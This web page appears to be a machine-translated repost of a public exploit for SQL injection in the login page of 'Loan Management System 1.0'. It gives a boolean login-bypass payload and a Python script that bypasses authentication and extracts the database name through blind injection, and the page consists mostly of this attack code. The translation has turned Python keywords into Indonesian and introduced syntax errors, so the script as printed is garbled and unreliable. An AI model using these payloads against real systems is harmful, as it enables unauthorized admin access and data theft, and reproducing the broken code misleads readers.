Sistem Manajemen Pinjaman 1.0 SQL Injection

  • Whatsapp
Apache Log4j2 2.14.1 Eksekusi Kode Jarak Jauh
Apache Logj Eksekusi Kode Jarak Jauh

News.nextcloud.asia

# Judul Eksploitasi: Sistem Manajemen Pinjaman – Injeksi SQL melalui halaman login
# Tanggal: 28/07/2022
# Eksploitasi Penulis: saitamang
# Beranda Vendor: sourcecodester
# Tautan Perangkat Lunak: https://www.sourcecoster.com/sites/default/files/download/razormist/LMS.zip
# Versi: 1.0
# Diuji pada: Centos 7 Apache2 + MySQL

# Vektor serangan untuk SQL Injection terjadi di halaman login. Login dapat di-bypass menggunakan payload boolean di bawah ini untuk mendapatkan akses sebagai Admin sebagai hak istimewa tertinggi.

# Payload –> ‘atau 2=2#

# Script python untuk mendapatkan nama database dari SQL Injection Vulnerability dapat dijalankan di bawah ini.

permintaan impor, string, sys, peringatan, waktu, bersamaan.futures
dari request.packages.urllib3.exceptions impor InsecureRequestWarning
warnings.simplefilter(‘ignore’,InsecureRequestWarning)

nama db=””

req = permintaan.Sesi()

def login (ip, nama pengguna, kata sandi):
target = “http://%s/LMS/login.php” %ip

data = {‘nama pengguna’: nama pengguna,’kata sandi’:kata sandi, ‘login’:”}
respon = req.post(target, data=data)

jika ‘Login Berhasil’ di response.text:
mencetak(“[$] Sukses Login dengan kredensial “+nama pengguna+”:”+sandi+””)
kalau tidak:
mencetak(“[$] Gagal Login dengan kredensial “+username+”:”+password+””)

def check_injection():
# perpustakaan inj
test_query0 = “‘atau 1=2#”
test_query1 = “‘atau 2=2#”

target = “http://%s/LMS/login.php” %ip

hasil = “”

untuk saya dalam rentang (2):

jika saya==0:
data = {‘username’: test_query0,’password’:password, ‘login’:”}
respon = req.post(target, data=data)
if response.text==”berhasil”:
hasil = respon.teks
kalau tidak:
lulus
jika saya ==1:
data = {‘username’: test_query1,’password’:password, ‘login’:”}
respon = req.post(target, data=data)
if response.text==”berhasil”:
hasil = respon.teks
kalau tidak:
lulus
if result=”“:
mencetak(“[##] SQLI Berbasis Boolean Hadir di bidang kata sandi :)”)
kalau tidak:
mencetak(“[##] Tidak ada SQLI :)”)

def brute (nama db, kata sandi):
target = “http://%s/LMS/login.php” %ip

l=0

# memeriksa panjang bintang dbname dengan i = 1
untuk i in (n+1 untuk n dalam range(9)):

payload = “‘atau 2=2 dan panjang(database())='”+ str(i) +”‘#”
#cetak(muatan)

data = {‘username’: payload,’password’:password, ‘login’:”}
respon = req.post(target, data=data)
hasil = respon.teks
#cetak(hasil)

if result=”“:
mencetak(“[##] Panjang nama DB yang benar adalah “+str(i))
l=i
merusak
kalau tidak:
mencetak(“[##] Panjang nama DB “+str(i)+” salah”)
lulus

arang = [char for char in string.ascii_lowercase]
char.append(‘_’)
#cetak(char)
nama db = []

untuk saya dalam rentang (l):
untuk j di char:
payload = “‘atau 2=2 dan substring(database(),” + str(i+1) + “,1)='” + str(j) +”‘#”

data = {‘username’: payload,’password’:password, ‘login’:”}
respon = req.post(target, data=data)
hasil = respon.teks
#cetak(muatan)
#cetak(hasil)

if result=”“:
dbname.append(j)
mencetak(“[+] Karakter ” + str(i+1) + ” dari nama DB adalah “+str(j))
merusak
kalau tidak:
lulus

dbname=””.join(dbname)

mencetak(“[+] Nama database diambil –> “+dbname)
mencetak(“[+] Lewati selesai :)”)
mencetak(“[+] Bypass payload yang bisa digunakan adalah \n’atau 2=2#”)

nama pengguna = “‘atau 2=2#”

print(“\nCoba lagi login dengan payload baru di kolom password”)
login (ip, nama pengguna, kata sandi)

jika __name__ == “__main__”:
print(“_____ _ __”)
print(” / _/____ _(_) /_____ _____ ___ ____ _____ ____ _”)
print(” \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/”)
print(” _/ / /_/ / / /_/ /_/ / / / / / /_/ / / / /_/ / “)
print(“/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, / “)
print(” /____/ \n\n”)

mencoba:
ip = sys.argv[1].mengupas()
nama pengguna = sys.argv[2].mengupas()
kata sandi = sys.argv[3].mengupas()

login (ip, nama pengguna, kata sandi)
periksa_injeksi()
kasar (nama db, kata sandi)

kecuali IndexError:
mencetak(“[-] Penggunaan %s ” % sys.argv[0])
mencetak(“[-] Contoh: %s 192.168.149.130 admin admin123” % sys.argv[0])
sys.keluar(-1)

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.